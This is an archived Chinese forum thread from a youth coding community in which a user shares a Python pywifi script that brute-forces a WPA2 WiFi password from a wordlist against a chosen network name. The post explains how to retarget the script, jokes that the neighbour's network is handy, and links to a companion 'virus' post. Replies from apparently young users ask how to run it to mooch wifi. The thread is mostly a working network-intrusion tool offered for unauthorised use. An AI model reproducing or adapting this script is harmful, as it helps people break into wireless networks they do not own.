猫史档案馆


python喵破解网络

用户:老黑喵老黑喵查看:11 回复:11 评论:11 创建时间:2020-05-09T14:21:52


那个python制作病毒的文章本来早就发了,谁知网络...哎

今天心血喵做了个蹭网专用器,只是有时候会不成功

# coding:utf-8
import time  #时间
import pywifi  #破解wifi
from pywifi import const  #引用一些定义
from asyncio.tasks import sleep
class PoJie():
    def __init__(self,path):
        self.file=open(path,"r",errors="ignore")
        wifi = pywifi.PyWiFi() #抓取网卡接口
        self.iface = wifi.interfaces()[0]#抓取第一个无限网卡
        self.iface.disconnect() #测试链接断开所有链接
    
        time.sleep(1) #休眠1秒
    
        #测试网卡是否属于断开状态,
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def readPassWord(self):
            print("开始破解:")
            while True:
               
                try:
                    myStr =self.file.readline()
                    if not myStr:
                        break
                    bool1=self.test_connect(myStr)
                    if bool1:
                        print("密码正确:",myStr)
                        break
                    else:
                        print("密码错误:"+myStr)
                    sleep(3)
                except:
                    continue
                    
    def test_connect(self,findStr):#测试链接

        profile = pywifi.Profile()  #创建wifi链接文件
        profile.ssid ="e2" #wifi名称
        profile.auth = const.AUTH_ALG_OPEN  #网卡的开放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
        profile.key = findStr #密码
    
        self.iface.remove_all_network_profiles() #删除所有的wifi文件
        喵p_profile = self.iface.add_network_profile(profile)#设定新的链接文件
        self.iface.connect(喵p_profile)#链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上
            isOK=True   
        else:
            isOK=False
        self.iface.disconnect() #断开
        time.sleep(1)
        #检查断开状态
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    
        return isOK
    

    def __del__(self):
        self.file.close()
        
path=r"C:\Users\Administrator\Desktop\csdnwifi.txt"
start=PoJie(path)
start.readPassWord()

大家可能还有疑问,那就是test_connect这个方法中的代码,
1) profile.ssid ="e2"表示你要破解的wifi的ssid也就是wifi名称,
我手机开了热点,热点名字是e2所以我写了e2,
大家可以自己更该要破解的名称
2) profile.key就是要输入的密码
3) 别的代码差不多就是固定写法了,还有加密算法可以更改,
这里就不进行具体讲解了,本篇主要让大家简单学会破解。

 

哎!!!

邻居的网络就是好用


回复

上一页1 页 / 共 1下一页
老黑喵老黑喵

纯属娱乐,

感谢支持!

 

 

emotion_编程猫_谢谢老板

点赞0


评论


老黑喵老黑喵

纯属娱乐,

感谢支持!

python恶搞系列

 

 

病毒   https://shequ.codemao.cn/community/291871

蹭网   https://shequ.codemao.cn/community/292536

点赞0


评论


CHN_流星CHN_流星

厉害,官方,快加上“恶搞教程”

点赞0


评论


9105大菜鸡9105大菜鸡

ip

 

点赞0


评论


9105大菜鸡9105大菜鸡

ip

点赞0


评论


9105大菜鸡9105大菜鸡

那个喵p是什么?

点赞0


评论


黄某君(小号)黄某君(小号)

喵p是什么,我赶着蹭网络()

点赞0


评论


programmingboyprogrammingboy

,mm

点赞0


评论


programmingboyprogrammingboy

fhh

点赞0


评论


猫站YYDS猫站YYDS

我不懂这方面,是复制可以直接用吗

点赞0


评论


扬清风扬清风

啥也不是

点赞0


评论